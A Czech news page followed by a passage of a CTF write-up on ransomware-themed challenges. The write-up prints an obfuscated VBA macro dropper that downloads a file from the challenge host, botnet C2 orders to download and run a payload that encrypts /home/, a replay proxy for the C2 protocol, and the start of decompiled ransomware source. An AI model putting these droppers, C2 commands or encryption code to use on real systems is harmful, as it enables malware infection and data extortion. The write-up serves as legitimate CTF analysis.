Společnost Oracle představila sadu nástrojů a skriptů pro sběr a analýzu dat o stavu linuxových systémů a jejich ladění pod společným názvem Oracle Linux Enhanced Diagnostics (OLED). K dispozici pod licencí GPLv2.
OpenZFS (Wikipedie), tj. implementace souborového systému ZFS pro Linux a FreeBSD, byl vydán ve verzi 2.3.0. Přináší RAIDZ Expansion, Fast Dedup, Direct IO, JSON a Long names.
Společnost PINE64 stojící za telefony PinePhone nebo notebooky Pinebook publikovala na svém blogu lednový souhrn novinek.
Baví vás bastlení, fyzika, IT a nebo prostě cokoliv technického? Proseděli jste celé Vánoce v záři obrazovky počítače a nebo jste o tom alespoň snili? Chcete se pochlubit technickými vánočními dárky? Pak doražte na Virtuální Bastlírnu - online pokec (nejen) techniků a bastlířů!
… více »Desktopové prostředí Enlightenment bylo vydáno ve verzi 0.27.0, provázejí ho knihovny EFL 1.28. Jde o převážně opravné vydání opět po roce.
Lazygit byl vydán ve verzi 0.45.0. Jedná se o TUI (Text User Interface) nadstavbu nad gitem.
Na čem aktuálně pracují vývojáři GNOME a KDE Plasma? Pravidelný přehled novinek v Týden v GNOME a Týden v KDE Plasma.
Byla vydána nová verze 2.48.0 distribuovaného systému správy verzí Git. Přispělo 93 vývojářů, z toho 35 nových. Přehled novinek v příspěvku na blogu GitHubu a v poznámkách k vydání.
Byl vydán Debian 12.9, tj. devátá opravná verze Debianu 12 s kódovým názvem Bookworm. Řešeny jsou především bezpečnostní problémy, ale také několik vážných chyb. Instalační média Debianu 12 lze samozřejmě nadále k instalaci používat. Po instalaci stačí systém aktualizovat.
Před dvanácti lety, ve svých šestadvaceti letech, navždy odešel Aaron Swartz, výjimečný americký hacker (programátor), spisovatel, archivář, politický organizátor a internetový aktivista. Aaron Swartz založil Demand Progress, spolupracoval na projektech Open Library, Internet Archive a Reddit. Ve svých čtrnácti se podílel na specifikaci RSS 1.0. Vytvořil webový framework web.py, pracoval na tor2web a rozšíření HTTPS Everywhere
… více »Tématem letošního CTF The Catch kupodivu nebyl folding, ale ransomware.
Úlohy byly většinou v ZIPu a stejně jako loni bylo bezpečné je rozbalit (ve smyslu že flag se neskrýval například v metadatech toho ZIPu). Navíc u všech byl přiložen md5sum soubor a v tom se také neskrývalo žádné překvapení.
Archiv obsahuje asi 30 emailů ve formátu eml. Ukázka:
Return-Path: <eve@ransomvid-20.thecatch.cz> X-Original-To: rex@cypherfix.cz Delivered-To: rex@cypherfix.cz Received: from mail.cypherfix.cz (mail.cypherfix.cz [203.0.113.105]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by office.cypherfix.cz (Postfix) with ESMTPS id 2MDEOI1HLYA for <rex@cypherfix.cz>; Fri, 09 Oct 2020 08:04:12 +0000 (UTC) Received: from [203.0.113.12] (unknown [203.0.113.12]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by freemail.thecatch.cz (Postfix) with ESMTPS id JOVRF20QZ97 for <rex@cypherfix.cz>; Fri, 09 Oct 2020 08:04:05 +0000 (UTC) Content-Type: multipart/mixed; boundary="===============1353357465==" MIME-Version: 1.0 X-Mailer: Mozilla/6.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Thunderbird/666.9.1 Date: Fri, 09 Oct 2020 08:04:05 +0000 (UTC) To: rex@cypherfix.cz From: eve@ransomvid-20.thecatch.cz Subject: Ransom discount for you - up to 30 % --===============1353357465== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 RGVhciBjdXN0b21lciwKd2UgaGF2ZSBub3RpY2VkLCB0aGF0IHlvdSBzdGlsbCBoYXZlIG5vdCBw YWlkIHlvdXIgcmFuc29tIG1vbmV5ISBXZSBoYXZlIHRpbWUgbGltaXRlZCBvZmZlciBmb3IgeW91 LCB2aXNpdCBvdXIgd2VicGFnZSBodHRwOi8vY2hhbGxlbmdlcy50aGVjYXRjaC5jejoyMDEwMC9s cWl2MGN5aHd1eDdkemFrIGZvciBtb3JlIGRldGFpbHMuCgpFdmUKUkFOU09NVklELTIwIHNlbmlv ciB1c2VyIHN1cHBvcnQKZXZlQHJhbnNvbXZpZC0yMC50aGVjYXRjaC5jeg== --===============1353357465== Content-Type: image/png MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=ransomvid20-support.png iVBORw0KGgoAAAANSUhEUgAABJMAAAEOCAIAAACy0cHpAAAACXBIWXMAAC4jAAAuIwF4pT92AAAg [pokračování obrázku]
Tady je spousta míst, kde by se flag mohl skrývat, například v časech a SMTP ID v hlavičkách. Nicméně tam to není. Můžeme extrahovat přílohy pomocí munpack *
a následně pomocí fdupes -r .
zjistíme, že jsou to dva binárně shodné obrázky, které se pořád opakují. Takže nemusíme zkoumat všechny. Jedná se o PNG bez alfa kanálu a ani to nevypadá, že by třeba bylo v černé barvě něco skrytého napsaného.
Podíváme se do těla mailů. Naprasíme skript, který z toho vybalí to base64:
#!/usr/bin/env python3 import sys import base64 for f in sys.argv[1:]: f = open(f, "r") f = f.read() lines = f.split("\n") start = 0 for i in range(len(lines)): if "text/plain" in lines[i]: start = i if "====" in lines[i] and start > 0: stop = i break b = "\n".join(lines[start+3:stop]) d = base64.b64decode(b).decode("ascii", "ignore") print(d)
V mailech se neustále opakuje tento motiv
Hi, wanna be rich? Just click here: http://challenges.thecatch.cz:20100/yqn02b3jeghr89zx and confirm all questions. The money waits for you! Your Secret Friend Dear customer, we have noticed, that you still have not paid your ransom money! We have time limited offer for you, visit our webpage http://challenges.thecatch.cz:20100/6rj48yv5mapzx3tc for more details. Eve RANSOMVID-20 senior user support
mění se jen náhodné znaky v URL. Tak je zkusíme všechny stáhnout
./parse.py *.eml|grep -oE "http[^ ]+"|while read l; do echo $l; wget -q -O - $l; done
a zjistíme, že na všech z nich je The content has been removed.
, kromě jedné, kde je flag.
Tentokrát je v archivu PCAP soubor se záznamem mnoha SMTP transakcí. TCP spojení se dají zobrazovat ve Wiresharku kliknutím pravým a Follow TCP stream, ale pro takové množství je to samozřejmě nesmysl. Použijeme tcpflow -r spam_everywhere.pcap
, což nám jednotlivá spojení opíše do souboru, vždycky jeden pro směr klient→server a druhý pro opačný. Teď bychom ty maily chtěli zase extrahovat, problém je, že soubory obsahují celou SMTP transakci, tj. začínají
ehlo [127.0.1.1] mail FROM:<alice@cypherfix.cz> size=324499 rcpt TO:<halaur5@h2ophone.cz> data
a až pak následuje samotný obsah mailu. Whatever, pustíme v tom adresáři prostě zase munpack *
a ono to magicky dopadne. Pomocí fdupes
zase zjistíme, že jsme vyextrahovali 20x ten samý obrázek, a když ho otevřeme, tak je v něm flag.
V archivu je easy_botnet_client.exe
, kterej nefunguje ani ve Wine, ani ve Windows XP. Po spuštění ve Windows 7 se někam připojí a v navázaném spojení, které stačí odposlechnout např. Wiresharkem, je plaintextově vidět flag.
V archivu je binární soubor, a úloha tentokrát obsahuje hint: Transmission usually contains message... and its length. Po otevření v Oktetě (protože obarvuje, jinak samozřejmě klidně použijte hexdump) vidíme vždycky 0x00 nebo 0x01 a pak následují tisknutelné znaky, které by mohly být base64.
00000000 00 54 51 58 42 77 5a 57 46 79 49 48 64 6c 59 57 |.TQXBwZWFyIHdlYW| 00000010 73 67 64 32 68 6c 62 69 42 35 62 33 55 67 59 58 |sgd2hlbiB5b3UgYX| 00000020 4a 6c 49 48 4e 30 63 6d 39 75 5a 79 77 67 59 57 |JlIHN0cm9uZywgYW| 00000030 35 6b 49 48 4e 30 63 6d 39 75 5a 79 42 33 61 47 |5kIHN0cm9uZyB3aG| 00000040 56 75 49 48 6c 76 64 53 42 68 63 6d 55 67 64 32 |VuIHlvdSBhcmUgd2| 00000050 56 68 61 79 34 3d 00 54 56 47 68 6c 49 48 4e 31 |Vhay4=.TVGhlIHN1| 00000060 63 48 4a 6c 62 57 55 67 59 58 4a 30 49 47 39 6d |cHJlbWUgYXJ0IG9m| 00000070 49 48 64 68 63 69 42 70 63 79 42 30 62 79 42 7a |IHdhciBpcyB0byBz| 00000080 64 57 4a 6b 64 57 55 67 64 47 68 6c 49 47 56 75 |dWJkdWUgdGhlIGVu| 00000090 5a 57 31 35 49 48 64 70 64 47 68 76 64 58 51 67 |ZW15IHdpdGhvdXQg| 000000a0 5a 6d 6c 6e 61 48 52 70 62 6d 63 75 01 64 53 57 |ZmlnaHRpbmcu.dSW| 000000b0 59 67 65 57 39 31 49 47 74 75 62 33 63 67 64 47 |YgeW91IGtub3cgdG| 000000c0 68 6c 49 47 56 75 5a 57 31 35 49 47 46 75 5a 43 |hlIGVuZW15IGFuZC| 000000d0 42 72 62 6d 39 33 49 48 6c 76 64 58 4a 7a 5a 57 |Brbm93IHlvdXJzZW| 000000e0 78 6d 4c 43 42 35 62 33 55 67 62 6d 56 6c 5a 43 |xmLCB5b3UgbmVlZC| 000000f0 42 75 62 33 51 67 5a 6d 56 68 63 69 42 30 61 47 |Bub3QgZmVhciB0aG| 00000100 55 67 63 6d 56 7a 64 57 78 30 49 47 39 6d 49 47 |UgcmVzdWx0IG9mIG| 00000110 45 67 61 48 56 75 5a 48 4a 6c 5a 43 42 69 59 58 |EgaHVuZHJlZCBiYX| 00000120 52 30 62 47 56 7a 4c 69 42 4a 5a 69 42 35 62 33 |R0bGVzLiBJZiB5b3| 00000130 55 67 61 32 35 76 64 79 42 35 62 33 56 79 63 32 |Uga25vdyB5b3Vyc2| 00000140 56 73 5a 69 42 69 64 58 51 67 62 6d 39 30 49 48 |VsZiBidXQgbm90IH| 00000150 52 6f 5a 53 42 6c 62 6d 56 74 65 53 77 67 5a 6d |RoZSBlbmVteSwgZm| 00000160 39 79 49 47 56 32 5a 58 4a 35 49 48 5a 70 59 33 |9yIGV2ZXJ5IHZpY3| 00000170 52 76 63 6e 6b 67 5a 32 46 70 62 6d 56 6b 49 48 |RvcnkgZ2FpbmVkIH| 00000180 6c 76 64 53 42 33 61 57 78 73 49 47 46 73 63 32 |lvdSB3aWxsIGFsc2| 00000190 38 67 63 33 56 6d 5a 6d 56 79 49 47 45 67 5a 47 |8gc3VmZmVyIGEgZG| 000001a0 56 6d 5a 57 46 30 4c 69 42 4a 5a 69 42 35 62 33 |VmZWF0LiBJZiB5b3| 000001b0 55 67 61 32 35 76 64 79 42 75 5a 57 6c 30 61 47 |Uga25vdyBuZWl0aG| 000001c0 56 79 49 48 52 6f 5a 53 42 6c 62 6d 56 74 65 53 |VyIHRoZSBlbmVteS| 000001d0 42 75 62 33 49 67 65 57 39 31 63 6e 4e 6c 62 47 |Bub3IgeW91cnNlbG| 000001e0 59 73 49 48 6c 76 64 53 42 33 61 57 78 73 49 48 |YsIHlvdSB3aWxsIH| 000001f0 4e 31 59 32 4e 31 62 57 49 67 61 57 34 67 5a 58 |N1Y2N1bWIgaW4gZX| 00000200 5a 6c 63 6e 6b 67 59 6d 46 30 64 47 78 6c 4c 67 |ZlcnkgYmF0dGxlLg| 00000210 3d 3d 00 7c 54 47 56 30 49 48 6c 76 64 58 49 67 |==.|TGV0IHlvdXIg| 00000220 63 47 78 68 62 6e 4d 67 59 6d 55 67 5a 47 46 79 |cGxhbnMgYmUgZGFy|
Takhle ale nejde dekódovat (pokud zahrnete to "T" do toho base64 -- ukáže se, že to je jakoby náhodou součást délky, nikoli payload), tak tipneme, že délka by mohla být 2bajtová, řekněme že u16be, a přesně takto soubor dekódujeme.
#!/usr/bin/env python3 f = open("message", "rb") f = f.read() pos=0 while True: size=f[pos]*256+f[pos+1] # ano vím že existuje struct d = f[pos+2:pos+2+size] print(d.decode("ascii")) pos = pos + 2 + size
./parse.py | while read l; do echo $l|base64 -d; done|grep --color FLAG
Tím jsme dokončili skupinu úloh The Training Ground. Opět dostaneme PCAP s mailama, tentokrát se jedná o záznam IMAP spojení, přes které se maily stahují. Výše uvedeným způsobem tcpflow extrahujeme spojení do souborů a upravíme náš adhoc parser aby to nějak přečetl a maily vyblil do samostatných souborů.
#!/usr/bin/env python3 import sys import base64 f = open(sys.argv[1], "r") f = f.read() lines = f.split("\n") start = 0 newl = 0 boundary = "sadfdsgfsdd" for i in range(len(lines)): if boundary in lines[i]: b = "\n".join(lines[newl:i]) print(newl, i) d = base64.b64decode(b) f = open(sys.argv[1] + ".line-%05i"%i, "wb") f.write(d) f.close() newl = 0 boundary = "sadfdsgfsdd" if lines[i].startswith("--============="): boundary = lines[i] start = i if lines[i] == "" and newl == 0: newl = i
Získané soubory zase projedeme fdupes a munpack a dostaneme kýbl různých věcí - obrázků, textových souborů a zašifrované ZIPy. Zašifrované ZIPy zkusíme cracknout, bohužel jsou ve formátu, který není podporovaný v hashcatu, ale John je podporuje, ale bylo strašné peklo ho zkompilovat.
JohnTheRipper/run/zip2john 203.000.113.016.00143-010.010.010.010.48386.line-04757 > a.txt 7z e -so wordlists/Top2Billion-probable-v2.7z | JohnTheRipper/run/john --stdin a.txt
Heslo se ale nepodařilo uhádnout. Začneme si ty maily číst a zjistíme, že se jedná o korespondenci Alice s administrátorem nějaké loterie, který tvrdí, že zná dopředu výsledky, a výsledky jsou právě v tom zašifrovaném ZIPu. Dále se dozvíme, že heslo poslal Alici na mobil.
Dear Alice, I know it - you are the right person to cooperate. The numbers you are looking for, are in attachment. The password was send on your cell. Enjoy your (our) prize!
V pcapu ale není žádná komunikace zjevně se týkající mobilu (třeba GSMTAP nebo tak), v mailech se vyskytuje doména h2ophone.cz, ze které chodí jakoby telefonní vyúčtování, a tak… Po docela dlouhé chvíli zoufalství najdeme jeden osamocený mail s předmětem Rich and stupid :), který má jako jediný Content-Transfer-Encoding: base64
takže to nešlo grepnout a v něm je napsáno Oh my, you will need the secret 'HappyWinner-paSSw00rd42'. See ya! A.. Zip uvedeným heslem rozšifrujeme a dostaneme soubor nation_lottery_numbers.ods
, což je ODS obsahující makra. Protože .ods je taky zip, který obsahuje různá XML s obsahem dokumentu/tabulky, tak ho znova rozzipujeme a v souboru Basic/Standard/Module1.xml
čteme flag.
Tohle byla nejvíc frustrující úloha a jeden kamarád to na ní vzdal. Na druhou stranu si za to asi můžu sám, protože kdybych ty maily korektně vyparsoval a naimportoval do mailového klienta, tak bych si je pravděpodobně mnohem pohodlněji prošel a mail s heslem bych viděl hned.
V archivu je dokument .ods s makry (jiný než v předchozí úloze) a úloha má hint E-mail attachments are usually just droppers. který nepomohl, ale nebylo potřeba, protože je dost jasné co se s tím musí udělat. Dokument zase rozzipujeme a ze souboru Basic/Standard/Module1.xml
vykopírujeme obfuskovaný kód, celý zde (původně jsem ho chtěl dát do přílohy sem, ale zjevně neumím zmanipulovat ID při přidávání komentáře, aby se přidal k zatím nevydanému blogu -- jestli to vůbec jde; šlo to u nevydaných článků). Ukázka:
Private Declare Function OOOOO0OO0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Sub Main O0O00O000 = GetGUIType Dim O0O0000OO as Object, O0O00OOOO As Object, OOOOOOOO0 as Object Dim O0OOO000O As Long OO0OOOO00 = Array(chr(246+10+153-254-121)+chr(721-455-156-434+4-304+169+559)+chr(-1533+247+570+548+577-293)+chr(-825+613-244+14+452+249+320+185-648)+chr(1297-192-440-553)+chr(-406+372-316+120+327-152-118+231)+chr(29-327+32-128+166+275)+chr(265+115-286+82+43-196+24)+chr(-401+331+370-148+336-389)+chr(-685+393+396)+chr(-64+461-381-159+240)+chr(1208-342-563+60-255)+chr(357-83-166)+chr(985-378-506)+chr(355-56+70-259)+chr(471-286-291-317+504+136-400-77+363)+chr(407-109+69-382-172+514+83-309)+chr(208-428+454-54+544+12-285-471+134)+chr(-406-192+256+176+212)+chr(-101+339+470-592)+chr(-39-388+531)+chr(875-250-524)+chr(1387-233-168-349-89+27-476)+chr(258-404+484-241)+chr(849-234+94-593)+chr(117-203+194-454+445)+chr(18+122+13+3-581+76+453)+chr(-179+319-220+264-85-53)+chr(965-509-357)+chr(829-166-2+559-602-45-153-298)+chr(433-104-271)+chr(-159+333-124)+chr(319-244-223-227+220+203)+chr(-136+335-23+124+114-140-283+58)+chr(-228+335-59)+chr(-87-39-52-318+209+266-24+94-0)+chr(149-189+74) [...] while True wait(1972-3442+291+2709-530) OOOOO0OOO = int(Rnd()*10000) OO00OO0O0 = OO0OOOO00(-17-76-54+64+96-13) OO0O0O000 = -188+63+135 OO0O0O000 = OO0O0O000 + -398-49-211+394+324 if -26-49-22-72+32-42+38+72+69 <= OOOOO0OOO and OOOOO0OOO < 1101-1211-3880+3588-1025+2982-826+1631-1360 then
Kód obsahuje funkci Rnd, na jejímž výsledku nejspíš něco závisí. Odhaduji, že to je vymyšlené tak, že to proběhne třeba jenom jednou za miliardu pokusů, a bude tak potřeba kód pochopit a provést ručně. Rozhodl jsem se stejně jako předloni, že to ztransformuji do Pythonu. Budu to dělat postupným aplikováním hromady regexpů, protože tak se přece problémy řeší. Začneme boilerplate, nahrazením bordelu co tam vznikl při kopírování z toho XML a spočítáním všech těch chr(aritmetický_výraz_tu)
na jedno číslo.
#!/usr/bin/env python3 import sys f = open("input", "r").read() f = f.replace("&", "&") f = f.replace("<", "<") f = f.replace(">", ">") f = f.replace(""", "\"") import re def fwrite(name, s): f = open(name, "w") f.write(s) f.close() while True: m = re.search("-?\d+([+-]\d+)+", f) if m: s = m.group(0) res = eval(s) sres = "%i"%res pos = m.start() f = f[:pos] + sres + f[pos+len(s):] else: break fwrite("eval", f)
Prohlédneme si výsledek a usoudíme, že všechna ta chr jsou ASCII znaky, tak je nahradíme za odpovídající ASCII znaky.
while True: m = re.search("chr\((\d+)\)\+?", f) if m: s = m.group(0) if s.endswith("+"): n = s.split("(")[1][:-2] else: n = s.split("(")[1][:-1] n = int(n) if(n < 32 or n > 126): print("FAIL %i"%n) sys.exit(1) sres = chr(n) pos = m.start() f = f[:pos] + sres + f[pos+len(s):] else: break fwrite("chr", f)
Výsledek už je docela čitelný, jenom názvy proměnných a funkcí tvoří různé kombinace 0
a O
. U každého zkusíme tipnout, co asi tak může dělat, a nahradíme to za tento lidský název.
f = f.replace("OOOOO0OO0", "wget") f = f.replace("O0O00O000", "environ") f = f.replace("O0O0000OO", "unknown1") f = f.replace("O0O00OOOO", "window1") f = f.replace("OOOOOOOO0", "window2") f = f.replace("O0OOO000O", "i") f = f.replace("OO0OOOO00", "data1") f = f.replace("OOO000OOO", "data2") f = f.replace("OOOOO0OOO", "random") f = f.replace("OO00OO0O0", "choose_backend") f = f.replace("O0O0OO0OO", "str_win10powerupdate.exe") f = f.replace("OO0O0O000", "int_70") f = f.replace("O00O0OO0O", "str_http://www.challenges.thecatch.cz:20912") f = f.replace("O0OO0O00O", "int_0") f = f.replace("O0O00O0OO", "int_40") f = f.replace("OO0OOO0O0", "int_4_1") f = f.replace("OOO00OO0O", "int_4_2") f = f.replace("OO00OO0OO", "j") f = f.replace("OO0O0O00O", "exec") f = f.replace("OOO00OOO0", "str_JJJJ") fwrite("var.sh", f)
Vzniklý kód je již poměrně čitelný (uložil jsem ho do souboru .sh protože shellový highlight se na to hodil asi nejvíc), skládá nějakou URL, kterou potom stáhne, a nejzajímavější je tato smyčka
int_70 = 70 [...] For i = int_0 To int_40 Step int_4_1 int_4_2 = 4 str_JJJJ = str_JJJJ + chr(int(Rnd() * (0)) + int_70) int_70 = int_70 + 3 Next i str_JJJJ = left(str_JJJJ, 7)
kterou přepíšeme do Pythonu nebo ručně odkrokujeme, a zjistíme, že generuje řetězec FILORUX, a z okolního kódu vidíme, že chceme stáhnout soubor http://challenges.thecatch.cz:20101/FILORUX_update_OB127q45D.msi a v něm je flag.
Úloha obsahuje hint Run the correct file in correct way.. Opět jde o pcap. Extrahujeme spojení tcpflow a dále se podíváme, že jde o záznam stahování několika souborů přes HTTP. Zaujme nás soubor nuclear_client.bin
. Extrahujeme ho (normálně otevřeme to spojení ve Vimu, smažeme HTTP hlavičky a uložíme ) a dosteneme ELF 64-bit LSB executable
. Spustíme ho (už jsem říkal že si chcete pořídit jednorázový virtuál? :) a… nic se nestane a při killování to vypíše
^CTraceback (most recent call last): File "fake_client.py", line 35, in <module> File "fake_client.py", line 29, in main KeyboardInterrupt [488] Failed to execute script fake_client
Ano, je to zabalenej Python. Následně jsem strávil hodinu neúspěšnými pokusy o dekompilaci/extrakci kódu pomocí všech možných extraktorů, binwalku a tak, neúspěšně. Long story short, ten soubor, který potřebujeme, je linux_core_update.bin
. Po spuštění vypíše help
./b.elf usage: b.elf [-h] -ip IPADDRESS -p PORT b.elf: error: the following arguments are required: -ip/--ipaddress, -p/--port
a na náhodně zadanou adresu a port vypíše jen invalid parameters
a ukončí se. Všimneme si ale, že v tom pcapu je bezprostředně po stažení tohoto souboru neobvyklé spojení na adresu 78.128.216.92 a port 20210, kde klient říká ready for work
, server pošle 1(5)
a ukončí se. Dáme tedy binárce právě tyto parametry a dostaneme flag. Mimochodem asi se to nikam nepřipojuje a jenom to vypíše flag co to má uvnitř. A sežere to i adresu klidně ve tvaru 0000078.128.216.92
, s čímž jsem si pak strašně naběhl u následující úlohy.
Úloha má hint Indicators of compromise (IoC) are very valuable for any investigation.. Tentokrát dostaneme program botnet_client
rovnou, není potřeba ho z ničeho extrahovat. Vyžaduje parametry IP a port stejně jako ten předchozí, tak mu je dáme. Velmi důležité je, když to kopírujete z tcpflow, všimnout si, že tcpflow IP adresy padduje nulou 78.128.216.092
, a protože tady se na rozdíl od předchozí úlohy opravdu bude vyrábět soket, tak když tam tu nulu necháte, tak to podivně zfailí (pokouší se to tu adresu resolvnout jako jméno) a pak jako fakt dlouho trvá na to přijít.
Program začne vypisovat Received unknown order
, každé další vypsání trvá déle než to předchozí, a brzy nás to přestane bavit. Je pravděpodobné, že bude potřeba zjistit, co program dělá, a napsat to rychleji. Taková úloha už byla v jednom PoDrátě (expirovala jim doména a ve web archivu se mi nechce hledat konkrétní odkaz). Na druhou stranu tady program nevytěžuje procesor, takže možná čeká na něco jiného.
Mimochodem při trasování těchto programů jsem měl problém, že jsem neviděl některé činnosti, které to na systému zjevně provádělo. Až teď při psaní writeupu mi došlo, že jsem OMFG nespouštěl strace s parametrem -f a ono se to forklo a já pak samozřejmě neviděl co provádí děti toho procesu OMG OMG OMG. Vybaveni touto znalostí snadno zjistíme, že to visí na volání select
prázdného seznamu se stále se zvyšující hodnotou čekání.
[pid 5981] select(0, NULL, NULL, NULL, {tv_sec=10, tv_usec=648001}) = 0 (Timeout)
Naprosto přímočaré řešení zahrnující boží vnuknutí tedy je:
#include <stdio.h> #include <sys/select.h> int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout) { // definici zkopírujeme z man select printf("Hijacked select\n"); return 0; }spustit to s ním, a komunikaci, kterou to provede, nahrát Wiresharkem, extrahovat tcpflow a vymazat duplicity
$ gcc hacking_time.c -o hacking_time -shared -fPIC $ LD_PRELOAD="$PWD/hacking_time" ./botnet_client -ip 78.128.216.92 -p 20210 [několik sekund běhu] Hijacked select Received unknown order Traceback (most recent call last): File "/media/sf_the-catch-2020/the-catch-2020-general/challenges/the_connection/botnet_client.py", line 397, in <module> File "/media/sf_the-catch-2020/the-catch-2020-general/challenges/the_connection/botnet_client.py", line 391, in main File "/media/sf_the-catch-2020/the-catch-2020-general/challenges/the_connection/botnet_client.py", line 340, in run OverflowError: timestamp too large to convert to C _PyTime_t [6020] Failed to execute script botnet_client
564716460757d2470716f207d647f2b3b3e69626e243839313469667d6f637e61627f22303130323a3a736e28636471636568647e2375676e656c6c6168636f2f2a307474786b3b34616f6c6e677f646ywhgvnz0ujd1697l
$ echo 564716460757d2470716f207d647f2b3b3e69626e243839313469667d6f637e61627f22303130323a3a736e28636471636568647e2375676e656c6c6168636f2f2a307474786b3b34616f6c6e677f646 | rev | blhexbin download;;http://challenges.thecatch.cz:20102/ransomvid1984.bin;;/tmp/apt-update
Nyní pokračujme v mém originálním řešení když neumíte používat strace a/nebo nemáte boží vnuknutí.
Máme tedy program, který nějak komunikuje, a trvá to dýl a dýl. Začal jsem tím, že jsem si napsal proxy, která komunikaci odchytává, přeposílá na původní server, a samozřejmě umožňuje měnit. Není potřeba dělat MITM na to spojení, program v pohodě akceptuje v parametru -ip
adresu mého stroje. Rejpáním v komunikaci postupně objevíme formát zpráv, které si posílají:
base64( pozpátku(hexdump(příkaz)) || pozpátku(token) )
, přičemž právě to, že vidíte token pozpátku, by vás mohlo trknout a ten hexdump taky přečíst pozpátkuwait;;13320 wait;;12694 wait;;12055 wait;;11371Jde tedy o nějaké číslo, které počítá do nuly, ale nejspíš to do konce soutěže nestihne. Tím, že jsem uhodl formát zpráv, můžu komunikaci patchovat a úmyslně to číslo nahrazovat menším a tím mu pomoct, ale to nepomohlo. Nakonec jsem ale zvolil jiné řešení: ten program furt posílá jenom ten stejný token, jenom mu to čím dál tím dýl trvá. Tak proč mu nepomoct. Moje proxy tedy udělá to, že jakmile dostane zprávu od klienta, začne s ní bušit v nekonečné smyčce na server. A hle, ono se to stane.
#!/usr/bin/env python3 import sys,socket import struct import base64 import binascii import time cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) cs.bind(("0.0.0.0", 20210)) cs.listen(1) def mysend(c, b, comment=None): c.send(b"\x00\x00\x00\x00\x00\x00\x00") c.send(struct.pack("<B", len(b))) c.send(bytes(b)) def consume(c, direction=">"): data = c.recv(8) plen = data[-1] data = c.recv(plen) #print("%s data: %s"%(direction, data)) return data while True: conn, addr = cs.accept() print("ACCEPT: ", addr) cd = consume(conn) ctok = cd.decode("ascii", "ignore") while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("78.128.216.92", 20210)) mysend(s, cd) d = consume(s) bd = base64.b64decode(d).decode("ascii", "ignore") #print("orig: ", bd) #mysend(conn, d) stok = bd[-16:][::-1] sreply = bd[:-16][::-1] #print(ctok, stok, sreply) bsreply = binascii.unhexlify(sreply) print(bsreply) # edit here bsreply = b"wait;;13504" preply = binascii.hexlify(bsreply) preply = preply[::-1].decode("ascii") preply = preply + stok[::-1] bd = base64.b64encode(preply.encode("ascii")) #print("patched: ", bd) time.sleep(0.1) patched = bd mysend(conn, patched)
$ ./q.py ACCEPT: ('192.168.148.155', 49878) b'wait;;12699' b'wait;;11613' b'wait;;10563' b'wait;;10038' b'wait;;8944' b'wait;;8339' b'wait;;7302' b'wait;;5858' b'wait;;5087' b'wait;;3886' b'wait;;2641' b'wait;;2025' b'wait;;838' b'download;;http://challenges.thecatch.cz:20102/ransomvid1984.bin;;/tmp/apt-update' b'download;;http://challenges.thecatch.cz:20102/key1984.RV20;;/tmp/key' b'execute;;/tmp/apt-update -k /tmp/key -p /home/' b'execute;;/tmp/apt-update -k /tmp/key -p /var/'
Na uvedené URL je flag.
S touhle úlohou měla spousta lidí problém, což mě překvapuje, protože šlo v podstatě o uhádnutí formátu zprávy (base64 je jasné, a pak že je to hexdump pozpátku) a po zjištění, že tam je počítadlo, které s každou další zprávou klesá, o jednoduchý replay.
V archivu je image NTFS partition a soubor ransomvid_20.exe
. Na NTFS partition je několik adresářů a souborů, zjevně zašifrovaných ransomwarem. Partition neobsahuje nic navíc, ve smyslu že když na to pustím photorec, tak to nenajde smazané ty originální soubory. Všimneme si, že ke dvěma z těch souborů se dá vygooglit plaintext. Zašifrované soubory jsou přesně o 268 bajtů větší než plaintext a docela se v tom dá pohledem tipnout hlavička. V tomto okamžiku mi přišlo dost jasné co se musí udělat: „šifrování“ bude vyxorování s nějakým stále stejným keystreamem, a protože máme dva plaintextové soubory, tak to stačí všechno dohromady vyxorovat a dostaneme keystream, kterým dešifrujeme všechno ostatní. Haha, nope.
Tak nějak zjistíme, že ten exe soubor vznikl pomocí PyInstalleru, a že jde rozbalit pomocí /usr/local/bin/pyi-archive_viewer ransomvid_20.exe
. Teď si v menu můžeme vybrat, který soubor chceme extrahovat, a ransomvid_20
je dost jasný favorit. Vypadne nám soubor, který bychom měli narvat uncompyle6
, ale to to nesežere.
ImportError: Unknown magic number 227 in abc.pyc
Někde jsem našel, že je potřeba na začátek souboru doplnit hlavičku - magic
42 0d 0d 0a 00 00 00 00 e4 b9 18 5d 00 00 00 00
Už to nalezení nedokážu zreprodukovat, nejblíž tomu je asi tato stránka. No tak to jako uděláme (cat header ransomvid.pyc > ransomvid_h.pyc
) a vypadne nám krásný zdroják včetně komentářů a všeho. (mimochodem tohle jde provádět jenom v Pythonu 3.7, asi protože byl ten soubor v Pythonu 3.7 vytvořen, s novějším to nejde. Já mám v tom virtuálu Debian stable, kde je Python 3.7.)
# uncompyle6 version 3.7.4 # Python bytecode 3.7 (3394) # Decompiled from: Python 3.7.3 (default, Jul 25 2020, 13:03:44) # [GCC 8.3.0] # Embedded file name: ransomvid_20.py # Compiled at: 2019-06-30 15:32:20 """ CTF - Ransomvid-20 """ __author__ = 'Aleš Padrta @ CESNET.CZ' __version__ = '1.0' import argparse, random from os import walk import pyaes, rsa def get_args(): """ Cmd line argument parsing (preprocessing) """ parser = argparse.ArgumentParser(description='Ransomvid-20 (!!!I can really hurt, if you run me!!!)') parser.add_argument('-p', '--path', type=str, help='Path to encrypt', required=True) parser.add_argument('-k', '--keyfile', type=str, help='The RSA public key', required=True) args = parser.parse_args() return ( args.path, args.keyfile) def get_filenames(path): """ Get list of files to encrypt in given path """ filenames = [] for root, directories, files in walk(path): for name in files: if name.split('.')[(-1)] not in ('mpeg', 'avi', 'mp4', 'dd'): filenames.append('{}/{}'.format(root, name).replace('\\', '/')) filenames.sort() return filenames def init_random(myseed): """ Initialize randomization by defining seed """ random.seed(myseed) def 